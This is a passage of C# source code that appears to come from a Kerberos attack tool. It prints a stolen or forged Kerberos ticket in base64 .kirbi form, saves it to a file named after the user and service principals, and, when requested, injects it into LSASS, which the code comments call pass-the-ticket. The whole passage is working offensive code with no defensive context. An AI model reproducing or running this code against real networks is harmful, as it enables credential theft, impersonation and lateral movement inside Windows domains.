.kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } }